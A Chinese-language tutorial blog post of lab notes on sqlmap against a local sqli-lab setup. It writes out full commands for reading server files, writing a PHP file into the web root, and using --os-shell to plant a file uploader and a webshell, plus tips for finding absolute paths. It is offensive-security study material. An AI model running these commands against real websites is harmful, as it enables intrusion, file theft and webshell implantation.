sqlmap学习笔记 【1】
来源:互联网 发布:二战德国火箭炮数据 编辑:程序博客网 时间:2024/05/10 07:46
sqlmap学习笔记 【1】
A-1:实验环境
windows 7
ubuntu 14.04
wamp
sqli-lab
A-2:实验案例
××注意:在做本实验前确认你数据库的权限是root权限×
实验一:利用sqlmap读取目标文件
参数: --file-read=RFILE Read a file from the back-end DBMS file system
用法:sqlmap -u "http://192.168.1.103/sqli/Less-1/?id=1" --file-read "目标文件的绝对路径"
查找目标文件绝对路径:
1.假如网站目录下有phpinfo文件,可以通过其判断目标文件的绝对路径
2.通过让其报错,爆出网站目录的绝对路径
3.收集一份常用的网站目录路径的字典,然后进行爆破
root@F1n4lly:/home/f1n4lly/sqlmap# ./sqlmap.py -u "http://192.168.1.103/sqli/Less-1/?id=1" --file-read "C:\wamp\www\testmysql.php"
将sqlmap读取的文件内容和源文件内容相互对比,可以确定是同一文件,读取文件成功!
实验二:利用sqlmap将本地文件写入目标系统
参数:
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
用法:sqlmsp -u "http://192.168.1.103/sqli/Less-1/?id=1" --file-write "本地文件的绝对路径" --file-dest "目标文件的绝对路径"
root@F1n4lly:/home/f1n4lly/sqlmap# ./sqlmap.py -u "http://192.168.1.103/sqli/Less-1/?id=1" --file-write "/1.php" --file-dest "C:\wamp\www\info.php"
在这里我们在 /下的1.php文件写入如下内容
<?phpphpinfo();?>然后我们执行sqlmap命令进行写入
实验三:利用sqlmap交互式写入shell
参数:--os-shell Prompt for an interactive operating system shell
用法:sqlmap -u "http://192.168.1.103/sqli/Less-1/?id=1" --os-shell
root@F1n4lly:/home/f1n4lly/sqlmap# ./sqlmap.py -u "http://192.168.1.103/sqli/Less-1/?id=1" --os-shell
选择网站程序支持的脚本语言
选择shell要入的目录
写入shell
在写入的过程中其实一共写入两个文件一个用来上传文件的php小马和一个webshell
相关参考:
- sqlmap学习笔记 【1】
- [sqlmap]学习笔记#1
- 学习笔记---sqlmap
- sqlmap的学习笔记
- sqlmap 随笔 羽翼sqlmap学习笔记
- 羽翼sqlmap课程学习笔记
- 关于SQLMAP的学习笔记
- sqlmap 学习笔记一之目录结构
- 【安全牛学习笔记】SQLMAP- 自动注入
- 【安全牛学习笔记】课时94 SQLMAP自动注入-REQUEST和SQLMAP自动注入-OPTIMIZATION
- 利用DVWA学习sqlmap(1)
- iBatis2学习笔记:SqlMap 的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap 的配置总结(18条)
- sqlmap 的源码学习笔记一之目录结构
- sqlmap 的源码学习笔记二之编写tamper脚本
- 学习Postgresql数据库
- Log4js多进程陷阱与避免
- CentOS压力测试工具Tsung安装和使用和图形报表生成
- 翻译错误_持续更新
- CSS布局基础心得
- sqlmap学习笔记 【1】
- Intellij Idea 13:导入openfire源代码
- 查看datafile的HWM,估算resize最小size脚本
- css 定位 浮动
- Spring(二) @Autowired
- DOM2节点的遍历
- SharePoint 2013 配置InfoPath 列表表单
- html 和css编码规范
- hdu Select 5101